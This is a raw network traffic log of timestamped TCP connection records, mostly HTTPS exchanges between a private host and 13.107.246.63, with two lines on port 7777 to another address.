Dec 6, 2024 15:54:06.374794960 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.374799967 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374806881 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.377405882 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.377444983 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.377536058 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.377582073 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.377753973 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.378077984 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.378082991 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.378097057 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.378156900 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.378174067 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.714481115 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.714984894 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.715009928 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.715445042 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.715451956 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.886450052 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.888483047 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.888510942 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.888968945 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.888974905 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.192179918 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.195432901 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.195499897 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.195554018 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.195554018 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.195576906 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.195590019 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.198275089 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.198312998 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.198518038 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.198589087 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.198595047 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.324944973 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.325908899 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.327018023 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.327052116 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.327071905 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.327085972 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.327091932 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.330512047 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.330586910 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:07.330765963 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.330899000 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:07.330910921 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.084825039 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.085514069 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.085561037 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.085969925 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.085978985 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.098063946 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.098562956 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.098578930 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.099031925 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.099036932 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.102524042 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.102910995 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.102940083 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.103274107 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.103279114 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.520884037 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.523971081 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.533550024 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.534513950 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.534598112 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.534631968 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.534646988 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.534655094 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.536887884 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.537312984 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.537684917 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.537730932 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.537751913 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.538084030 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.538177967 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.538177967 CET	49953	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.538197994 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.538209915 CET	443	49953	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.539705992 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.539727926 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.540950060 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.541006088 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.541115999 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.541124105 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.541188955 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.541233063 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.541249990 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.541284084 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.541379929 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.541409016 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.541428089 CET	49952	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.541434050 CET	443	49952	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.543632984 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.543668985 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.543879032 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.544008970 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.544022083 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.865401983 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.919923067 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.920483112 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.986468077 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.986607075 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.986623049 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.987137079 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.987143993 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.987606049 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.987624884 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:08.988004923 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:08.988013029 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.301909924 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.302018881 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.304641008 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.304833889 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.304833889 CET	49955	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.304851055 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.304861069 CET	443	49955	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.307562113 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.307605028 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.307694912 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.307878017 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.307893991 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.365933895 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.365978003 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.366038084 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.366108894 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.366123915 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.366328001 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.366328001 CET	49954	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.366348028 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.366358995 CET	443	49954	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.369158983 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.369213104 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:09.369308949 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.369461060 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:09.369477987 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.267250061 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.268876076 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.268896103 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.269146919 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.269365072 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.269373894 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.269556046 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.269668102 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.269679070 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.269941092 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.269946098 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.270098925 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.270102978 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.270399094 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.270402908 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.701493025 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.703454971 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.703862906 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.704314947 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.704401016 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.704440117 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.704440117 CET	49958	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.704457998 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.704468012 CET	443	49958	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.705583096 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.705674887 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.705728054 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.705728054 CET	49957	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.705751896 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.705765963 CET	443	49957	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707336903 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.707374096 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707598925 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.707654953 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707657099 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.707794905 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.707809925 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707822084 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.707869053 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707957983 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.707973957 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707981110 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.707992077 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.708029985 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.708076954 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.708084106 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.708097935 CET	49956	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.708102942 CET	443	49956	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.710232019 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.710244894 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:10.710324049 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.710439920 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:10.710453033 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.026808977 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.027400017 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.027439117 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.027873993 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.027883053 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.087857962 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.090123892 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.090168953 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.090631008 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.090646982 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.461216927 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.464756012 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.475332022 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.478530884 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.518176079 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.518210888 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.518249035 CET	49959	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.518256903 CET	443	49959	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.556129932 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.556346893 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.556433916 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.556561947 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.558142900 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.558159113 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.558166027 CET	49960	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.558171988 CET	443	49960	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.561053038 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.561113119 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.563489914 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.574857950 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.574909925 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.578638077 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.581531048 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.581547022 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:11.582341909 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:11.582364082 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.448138952 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.448662043 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.448678017 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.449120998 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.449182034 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.449187994 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.449584007 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.449614048 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.450006008 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.450017929 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.883339882 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.883857012 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.887003899 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.887083054 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.887099028 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.887273073 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.887332916 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.887356043 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.887379885 CET	49962	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.887386084 CET	443	49962	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.888700008 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.888721943 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.888736963 CET	49961	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.888742924 CET	443	49961	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.892222881 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.892257929 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.892643929 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.892951012 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.892990112 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.893033981 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.893043995 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:12.898726940 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.900341034 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:12.900355101 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.317677975 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.317732096 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.318305016 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.318305969 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.318331003 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.318336964 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.318753958 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.318762064 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.318799973 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.318805933 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.769539118 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.769624949 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.772998095 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.773732901 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.773760080 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.773776054 CET	49964	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.773782015 CET	443	49964	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.773996115 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.774066925 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.775063038 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.775485992 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.775507927 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.775518894 CET	49965	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.775525093 CET	443	49965	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.777673006 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.777715921 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.778695107 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.778733015 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.778748035 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.778923988 CET	49968	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.778938055 CET	443	49968	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.778948069 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.779046059 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:13.779058933 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:13.947932005 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:14.012444019 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:14.810117960 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:14.813621044 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:14.813649893 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:14.814063072 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:14.814069986 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:14.814619064 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:14.814981937 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:14.815005064 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:14.815440893 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:14.815447092 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.251027107 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.252043962 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.256787062 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.256932020 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.256977081 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.256977081 CET	49967	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.256999016 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.257009029 CET	443	49967	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.257776976 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.257920980 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.258038998 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.258068085 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.258083105 CET	49966	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.258090019 CET	443	49966	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.260662079 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.260708094 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.260718107 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.260767937 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.260787964 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.260834932 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.260926962 CET	49970	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.260941982 CET	443	49970	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.260979891 CET	49971	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.260994911 CET	443	49971	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.462359905 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.465948105 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.465969086 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.466509104 CET	49963	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.466516018 CET	443	49963	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.496817112 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.497422934 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.497457027 CET	443	49969	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:15.497900963 CET	49969	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:15.497906923 CET	443	49969	13.107.246.63	192.168.2.7
